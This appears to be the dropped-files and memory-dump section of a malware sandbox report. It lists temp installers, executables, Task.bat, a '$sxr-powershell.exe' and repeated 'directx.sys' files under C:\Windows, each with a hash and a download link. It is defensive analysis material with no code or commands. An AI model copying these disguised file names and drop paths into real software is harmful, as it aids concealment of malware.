                                                                                                                                                                                                                                        • SHA256 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        installer.tmp
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\is-OTRTB.tmp\installer.tmp
                                                                                                                                                                                                                                        • Size 192KB
                                                                                                                                                                                                                                        • SHA256 656a6915c57b822efaaf7204fba10a3c84d53e461356ec98ebe4812fa384c0ec
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        may.tmp
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\is-Q8U8I.tmp\may.tmp
                                                                                                                                                                                                                                        • Size 690KB
                                                                                                                                                                                                                                        • SHA256 6b379deda24136023d02ee39a9a6bb6071df6d6c69f6896d8296c6abe6af2edc
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        tmp7699.tmp
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\tmp7699.tmp
                                                                                                                                                                                                                                        • Size 46KB
                                                                                                                                                                                                                                        • SHA256 522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        tmp76BE.tmp
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\tmp76BE.tmp
                                                                                                                                                                                                                                        • Size 92KB
                                                                                                                                                                                                                                        • SHA256 8b2ec2b5cf867a930aa00d3cf5f13c2dcbf3e706de7556c8b950e7fba9762f03
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        tmp7727.tmp
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\tmp7727.tmp
                                                                                                                                                                                                                                        • Size 48KB
                                                                                                                                                                                                                                        • SHA256 c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        tmp772E.tmp
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\tmp772E.tmp
                                                                                                                                                                                                                                        • Size 20KB
                                                                                                                                                                                                                                        • SHA256 d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        tmp7733.tmp
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\tmp7733.tmp
                                                                                                                                                                                                                                        • Size 116KB
                                                                                                                                                                                                                                        • SHA256 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        tmp774F.tmp
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\tmp774F.tmp
                                                                                                                                                                                                                                        • Size 96KB
                                                                                                                                                                                                                                        • SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        u2xs.0.exe
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\u2xs.0.exe
                                                                                                                                                                                                                                        • Size 262KB
                                                                                                                                                                                                                                        • SHA256 6c0ee4d9900a2f5a4692825b9e82301bf8bb2f50de1e3d38ecc760e46b8d475a
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        u2xs.1.exe
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\u2xs.1.exe
                                                                                                                                                                                                                                        • Size 1.7MB
                                                                                                                                                                                                                                        • SHA256 2a40e5dccc7526c4982334941c90f95374460e2a816e84e724e98c4d52ae8c54
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        Task.bat
                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Temp\Task.bat
                                                                                                                                                                                                                                        • Size 128B
                                                                                                                                                                                                                                        • SHA256 6be22058abfb22b40a42fb003f86b89e204a83024c03eb82cd53e2a0a047c331
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        $sxr-powershell.exe
                                                                                                                                                                                                                                        • Path C:\Windows\$sxr-powershell.exe
                                                                                                                                                                                                                                        • Size 442KB
                                                                                                                                                                                                                                        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 49B
                                                                                                                                                                                                                                        • SHA256 e90b5262c8d39b81cbf2ba2e4149a82514560ae0e7973d513dc7c542c3fbedd8
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 b892ed1314ea076fc6836e4cd7a2ad88c0532d43ec00bd4a0d9d59a58af6e571
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 7bb20aa56a129ff2d882d69ad3f8e83885a094479f364e2f6068bb802d202ec5
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 01011ee0d9a4730b4022f302de342c2f91bc3709529959dae3c4937be5a724e9
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 cdeaa16d2d813a98760f24684154dbe26f7e1ecbca6a6a7a6d5739d6cdbde830
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 b24367b4d94da50938a2c183853123c51a71622d0844ec26be356d5d1d881808
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 49B
                                                                                                                                                                                                                                        • SHA256 6b72b97a283e3f47b61151c467bc70159b3fb405128abb93ce60112a30933acf
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 ac41aec1010e4ad366241d4cb4f3bbc2a6eb1ec4a36c30c25bd6afac5dfbedd3
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 748bdbbf7021114eb5c90aabcaa7eaffb4606c644620922bddc9bd0407c8483d
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 c8b26daa45e521e42251831b1b1407f5266b39e13f09307220a527b0583870e9
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 49B
                                                                                                                                                                                                                                        • SHA256 e263011c6c3ef7e442d92d63b8a581755d4ccc2281858f37727c63aeb1d715bd
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 48B
                                                                                                                                                                                                                                        • SHA256 8b762f9d86ff50ffae51d816b15b00fea7951b6b5eeac132aba6fc6eb66313d2
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 40c355c0b0e3e7b2fb23b3a62738f289e950722503132d78a2b67fca2d31f472
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 8f6f13d3570526eb21a35dbddfffd6703d2423d0fd92024d681c42ded1a7a685
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 77B
                                                                                                                                                                                                                                        • SHA256 1d5db4f42b99f122791de557ecfaf4f6915c526bf8c8e86259f7ac8182675f57
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 e64970054014097178f69fa40b03735add5e546148b4943b4a5d534cbcd74fbe
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 50B
                                                                                                                                                                                                                                        • SHA256 9d109b2531c388fdb4d4ffb6e17e550c0b544ad69d6a5c5aa1e662cd1f99026a
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        directx.sys
                                                                                                                                                                                                                                        • Path C:\Windows\directx.sys
                                                                                                                                                                                                                                        • Size 91B
                                                                                                                                                                                                                                        • SHA256 6ab8e420c0b04526247b6acd0a34ce44c0a8be11a31363517dc891d005fae863
                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                        memory/212-364-0x0000000000400000-0x0000000001A2E000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/212-223-0x0000000061E00000-0x0000000061EF3000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/212-195-0x0000000000400000-0x0000000001A2E000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/212-182-0x0000000000400000-0x0000000001A2E000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/212-341-0x0000000003630000-0x0000000003657000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/212-275-0x0000000000400000-0x0000000001A2E000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/212-162-0x0000000001B10000-0x0000000001C10000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/212-165-0x0000000003630000-0x0000000003657000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/212-309-0x0000000001B10000-0x0000000001C10000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/808-352-0x0000000002C40000-0x000000000352C000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/808-353-0x0000000002845000-0x0000000002C3D000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/856-97-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/856-93-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/856-131-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/856-192-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/856-91-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/856-58-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/856-213-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/884-14-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/884-86-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/1884-50-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/1884-55-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/1884-54-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/1884-51-0x0000000000400000-0x00000000005A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/1948-130-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/1948-194-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-210-0x0000000004E30000-0x0000000004E42000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-358-0x0000000006390000-0x00000000063F6000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-339-0x0000000006400000-0x00000000065C2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-376-0x00000000069B0000-0x0000000006A26000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-374-0x0000000006810000-0x00000000068A2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-343-0x0000000006B00000-0x000000000702C000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-190-0x00000000727D0000-0x0000000072F80000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-372-0x00000000075E0000-0x0000000007B84000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-241-0x0000000005110000-0x000000000521A000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-191-0x0000000000440000-0x000000000045E000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-215-0x0000000004ED0000-0x0000000004F1C000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-214-0x00000000029B0000-0x00000000029C0000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-211-0x0000000004E90000-0x0000000004ECC000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2452-209-0x0000000005450000-0x0000000005A68000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2908-359-0x0000000000400000-0x0000000000D1C000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2956-285-0x0000000000400000-0x00000000004D8000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2956-271-0x0000000000400000-0x00000000004D8000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2976-357-0x0000000001FC0000-0x0000000001FC1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2976-196-0x0000000000400000-0x00000000004BC000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/2976-168-0x0000000001FC0000-0x0000000001FC1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/3808-342-0x0000000001FC0000-0x00000000020C0000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/3808-345-0x0000000003BE0000-0x0000000003C47000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/3808-356-0x0000000000400000-0x0000000001F27000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4128-2-0x0000000002C80000-0x0000000002C90000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4128-70-0x00007FFDCED00000-0x00007FFDCF7C1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4128-0-0x0000000000B50000-0x0000000000B58000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4128-1-0x00007FFDCED00000-0x00007FFDCF7C1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4128-73-0x0000000002C80000-0x0000000002C90000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-75-0x0000000005740000-0x0000000005741000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-83-0x0000000005760000-0x0000000005761000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-284-0x0000000000D90000-0x0000000001326000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-141-0x0000000000D90000-0x0000000001326000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-82-0x0000000005730000-0x0000000005731000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-84-0x0000000005790000-0x0000000005791000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-87-0x00000000057C0000-0x00000000057C2000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-85-0x00000000056F0000-0x00000000056F1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-71-0x0000000000D90000-0x0000000001326000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-81-0x00000000057A0000-0x00000000057A1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-183-0x0000000000D90000-0x0000000001326000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-80-0x0000000005750000-0x0000000005751000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-92-0x0000000000D90000-0x0000000001326000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-72-0x00000000775A4000-0x00000000775A6000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-74-0x0000000000D90000-0x0000000001326000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-79-0x0000000005700000-0x0000000005701000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-77-0x0000000005710000-0x0000000005711000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-76-0x0000000005720000-0x0000000005721000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-193-0x0000000000D90000-0x0000000001326000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4348-78-0x0000000005780000-0x0000000005781000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-163-0x0000000001400000-0x0000000001401000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-148-0x00000000013D0000-0x00000000013D1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-116-0x0000000000140000-0x0000000000E21000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-160-0x00000000013F0000-0x00000000013F1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-143-0x0000000001380000-0x0000000001381000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-308-0x0000000000140000-0x0000000000E21000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-175-0x0000000000140000-0x0000000000E21000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-153-0x00000000013E0000-0x00000000013E1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-146-0x0000000001390000-0x0000000001391000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4620-142-0x0000000000140000-0x0000000000E21000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4712-89-0x0000000000400000-0x00000000004BC000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4712-90-0x00000000006A0000-0x00000000006A1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4712-20-0x00000000006A0000-0x00000000006A1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/4964-310-0x00000000024E0000-0x00000000024E1000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/5028-207-0x00000000727D0000-0x0000000072F80000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/5028-206-0x0000000000A50000-0x0000000001144000-memory.dmp
                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                        memory/5028-252-0x00000000727D0000-0x0000000072F80000-memory.dmp
                                                                                                                                                                                                                                        Download